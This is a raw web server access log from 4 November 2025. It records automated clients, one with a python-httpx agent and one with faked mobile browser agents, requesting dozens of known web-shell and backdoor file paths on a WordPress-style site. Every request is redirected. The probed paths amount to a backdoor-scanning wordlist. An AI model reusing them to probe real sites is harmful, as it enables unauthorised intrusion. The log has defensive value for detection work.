[04/Nov/2025:20:13:11 +0330] "GET /wp-admin/includes/info.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:15 +0330] "GET /wp-admin/js/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:28 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:30 +0330] "GET /about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:32 +0330] "GET /wp-admin/css/colors/blue/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:38 +0330] "GET /defaults.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:40 +0330] "GET /function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:42 +0330] "GET /wp-admin/images/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:44 +0330] "GET /wp-admin/includes/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:46 +0330] "GET /wp-admin/js/widgets/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:50 +0330] "GET /wp-admin/maint/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:13:55 +0330] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:19 +0330] "GET /file/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:21 +0330] "GET /chosen/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:23 +0330] "GET /doc/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:26 +0330] "GET /mah/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:30 +0330] "GET /chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:38 +0330] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:56 +0330] "GET /wp-content/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:58 +0330] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:00 +0330] "GET /wp-content/plugins/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:02 +0330] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:05 +0330] "GET /wp-includes/SimplePie/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:08 +0330] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:12 +0330] "GET /index/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:14 +0330] "GET /about/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:40 +0330] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:42 +0330] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:14:49 +0330] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:04 +0330] "GET /wp-content/languages/themes/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:10 +0330] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:18 +0330] "GET /wp-admin/css/colors/blue/flex.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:20 +0330] "GET /wp-includes/images/smilies/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:22 +0330] "GET /wp-admin/includes/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:24 +0330] "GET /wp-admin/includes/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:30 +0330] "GET /wp-admin/includes/webix.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:32 +0330] "GET /wp-admin/includes/webix.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:33 +0330] "GET /wp-admin/includes/module.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:37 +0330] "GET /wp-admin/includes/contact.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:41 +0330] "GET /wp-admin/includes/header.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:43 +0330] "GET /wp-admin/includes/login.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:45 +0330] "GET /wp-admin/includes/schallfuns.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:46 +0330] "GET /wp-admin/includes/register.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:49 +0330] "GET /wp-admin/includes/service.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:51 +0330] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:56 +0330] "GET /wp-news.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:57 +0330] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:00 +0330] "GET /.well-known/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:02 +0330] "GET /.well-known/22.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:04 +0330] "GET /.well-known/abd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:05 +0330] "GET /.well-known/wp-themes.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:08 +0330] "GET /wp-includes/cron.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:10 +0330] "GET /wp-includes/num.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:13 +0330] "GET /wp-includes/comment.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:16 +0330] "GET /wp-includes/pp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:20 +0330] "GET /wp-includes/css/great.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:25 +0330] "GET /pp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:26 +0330] "GET /waff.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:28 +0330] "GET /wp-admin/pp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:16 +0330] "GET /wp-admin/css/colors/blue/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:25 +0330] "GET /wp-admin/includes/2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:27 +0330] "GET /wp-admin/includes/algox.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:39 +0330] "GET /wp-admin/includes/error.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:48 +0330] "GET /wp-admin/includes/wincust.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:53 +0330] "GET /wp-admin/includes/wp-themes.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:54 +0330] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:15:58 +0330] "GET /wp-config-samples.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:01 +0330] "GET /.well-known/mini.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:06 +0330] "GET /uploadimg/c.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:09 +0330] "GET /wp-admin/css/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:12 +0330] "GET /wp-includes/functions.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:14 +0330] "GET /wp-includes/class-wp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:24 +0330] "GET /wp-includes/sitemaps/BDKR.txt HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:31 +0330] "GET /sad.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:32 +0330] "GET /rak.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:36 +0330] "GET /wp-content/plugins/twenty/content.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 160.177.172.214 - - [04/Nov/2025:20:23:00 +0330] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:23:25 +0330] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:23:26 +0330] "GET /log-mama/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:23:42 +0330] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:23:59 +0330] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:24:30 +0330] "GET /smtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 86.120.48.60 - - [04/Nov/2025:20:16:29 +0330] "GET /down.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:33 +0330] "GET /wp-content/plugins/twenty/bypltspd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:35 +0330] "GET /wp-content/plugins/twenty/chris.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:16:37 +0330] "GET /wp-content/plugins/twenty/function.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 160.177.172.214 - - [04/Nov/2025:20:22:11 +0330] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:23:46 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:24:18 +0330] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:25:27 +0330] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:25:46 +0330] "GET /504.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:25:54 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:25:57 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:02 +0330] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:05 +0330] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:07 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:20 +0330] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:27 +0330] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:29 +0330] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:28:42 +0330] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:30:38 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:32:27 +0330] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:32:29 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:25:46 +0330] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:25:53 +0330] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:04 +0330] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:21 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:25 +0330] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:28 +0330] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:30 +0330] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:39 +0330] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:41 +0330] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:26:41 +0330] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:29:48 +0330] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:30:05 +0330] "GET /file17.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:30:26 +0330] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:32:21 +0330] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:32:26 +0330] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:33:21 +0330] "GET /smtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 160.177.172.214 - - [04/Nov/2025:20:37:32 +0330] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:37:47 +0330] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:04 +0330] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:06 +0330] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:13 +0330] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:14 +0330] "GET /asd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:24 +0330] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:24 +0330] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 158.94.208.149 - - [04/Nov/2025:20:35:42 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 160.177.172.214 - - [04/Nov/2025:20:37:12 +0330] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:37:36 +0330] "GET /xl2023x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:37:37 +0330] "GET /xxl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:37:39 +0330] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:05 +0330] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:14 +0330] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:18 +0330] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:22 +0330] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:38:23 +0330] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) 